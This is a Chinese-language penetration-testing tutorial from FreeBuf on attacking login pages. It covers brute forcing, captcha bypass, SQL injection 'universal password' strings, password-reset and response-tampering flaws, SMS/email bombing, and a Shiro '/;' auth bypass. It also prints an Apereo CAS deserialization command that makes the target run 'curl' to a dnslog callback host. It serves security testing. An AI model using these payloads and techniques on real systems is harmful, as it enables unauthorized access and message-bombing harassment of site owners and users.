freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

如何面对登录页面
ZHANGMY 2023-02-07 10:00:42 129853
所属地 山东省

前言

在日常渗透测试或者攻防演练中,遇到最多的页面可能就是登录页面了
在我刚入职时 最让我头疼的就是这种情况,在经历了这大半年的工作和学习下,我把我对于这种情况的思路和方法分享一下 
图片.png

测试思路

1.1 明文传输/不安全的加密算法/用户名可枚举/爆破弱口令/验证码绕过

这几个就放一起了,总结起来就俩字爆破

  • 明文传输/不安全的加密算法: 看似人畜无害的漏洞却给暴力破解带来了可能性

  • 用户名枚举: 又给爆破增加了成功率 这里要注意的一点是 有的站点的回显只有一点点不同 比如: (用户名或密码错误--用户名/密码错误) (都2077年了,不会还有站老老实实告诉你用户名不存在吧)

  • 验证码绕过: 验证吗不刷新 (这种就是纯摆设验证码);万能验证码 (如8888,0000一般为开发者为了测试方便设置的); 验证吗回显 (有的网站验证码会回显到前端,只需要抓包即可获得验证码);验证码识别(实在是绕不过去还有这最后一个方法 这里附上我常用的bp验证码识别插件 https://github.com/smxiazi/NEW_xp_CAPTCHA

  • 社工字典: 推荐一个小工具,可以根据收集到的信息生成针对性较强的密码

https://github.com/jx4321/genpass

1.2 SQL注入

直接在登录框存在sql注入的站越来越少了,不过还是要测一测的 会有惊喜发生的呦

  • 万能密码: 这无疑是最简单也是最好用的sql注入,若存在此漏洞可直接绕过登录访问系统内部资源(随着对安全这种情况越来越少,入职来只遇到过一次) 常见万能密码如下:

or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
......   (可直接放到枚举用户名的字典里顺便一起跑了)
  • 登录框sql注入: 这种应该比万能密码更少见,但是理论上也存在(比如开发时只对万能密码进行了过滤,过滤不全)可以通过加特定字符来测试是否存在 如'``"``#

1.3逻辑漏洞

测试登陆页面是否存在逻辑漏洞 如:任意密码重置,任意账号注册,短信(邮件)轰炸等

  • 任意密码重置: 一般存在与先验证身份 下一步 重置密码(修改密码)的系统;或验证码与手机号不绑定的系统

图片.png
图片.png
图片.png

  • 任意账户注册:漏洞原理基本与任意密码重置相同,验证码未与手机号绑定或验证码可爆破

  • 短信(邮箱)轰炸: 未对发送间隔,一段时间内发送最大数量做服务端验证,抓包后不断重返即可,若做了一定防护可添加空格``+86等进行绕过, 下图以邮箱轰炸为例

图片.png
图片.png

  • 修改Respos返回信息:Response状态值,就是在服务器发送某个密码重置的凭据之后,出现特定的响应值,对Response状态值修改后,如果存在校验不严(存在逻辑漏洞),并且回显值得校验是在客户端进行,就能使相关操作成功被执行

查看返回包结构
图片.png
修改状态值
图片.png
成功进入系统
图片.png

1.4框架漏洞

  • shiro/log4j/fastjson 反序列化: 这三个反序列化漏洞影响实在是太广了,前两年hw特别常见,这里就推荐几个bp的扫描插件吧(几乎不用手动测 全靠插件)

https://github.com/EASY233/BpScan(可被动扫描log4j,fastjson反序列化漏洞)
https://github.com/pmiaowu/BurpShiroPassiveScan(用来扫描shiro反序列化)

下图为fastjson反序列化漏洞 
图片.png
图片.png

  • apereo-cas反序列: pereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞

随便输入账号密码抓包
图片.png
使用 https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar此工具生成payload 命令如下

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "curl aaa.dw7b1h.dnslog.cn"

图片.png
将生成的payload替换请求包中的execution参数发送即可
图片.png
图片.png

  • shiro权限绕过: 在路由中拼接/;

复现靶场 https://github.com/l3yx/springboot-shiro
如果直接访问 /test/admin/page ,会返回302跳转要求登录
图片.png
但是访问/;/test/admin/page , 就能直接绕过 Shiro 权限验证,访问到 /admin 路由中的信息
图片.png

  • cms漏洞: 可借助指纹识别系统判断站点是否为cms搭建,如果是可借助漏洞库查询历史公开漏洞进行测试 下面推荐几个常用的地址

http://finger.tidesec.net/(潮汐在线指纹识别)
http://wiki.peiqi.tech/(peiqi文库(漏洞库),先查这个复现过程非常详细)
https://avd.aliyun.com/(阿里云漏洞库,peiqi文库查不到再差这个)

1.5 js相关

  • 禁用js: 部分站点会先跳转到类似/admin/index.html的页面,然后检测到未登录会再跳转到/login.html对于这种我们可以禁用 javascript 测试,会有意想不到的发生

  • 查看js代码: js代码中经常会泄露有趣的东西,这里再推荐一下 FindSomething 这个插件可以快速地发现js中重要信息 下图为js泄露了用户名密码

图片.png

1.6 未授权

可以借助dirsearch工具进行目录扫描

  • 无需登录即可访问的页面

  • api接口文档: 越来越多的网站采用前后端分离来开发,开发完成后api接口文档可直接访问,扫描到api接口文档后可根据文档构造请求包进行测试

图片.png

1.7 jwt相关

Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准.该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录

  • 爆破密钥: 这里推荐使用jwt_tool工具,字典不用太大爆个top1k/top1w的就差不多了 出不出随缘

https://github.com/ticarpi/jwt_tool

图片.png

总结

登录页面就像一道门,门后的神秘业务 神奇功能都可能存在有趣的漏洞

# 漏洞 # 渗透测试 # 网络安全 # web安全 # 数据安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 ZHANGMY 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
ZHANGMY LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 1 关注者
文章目录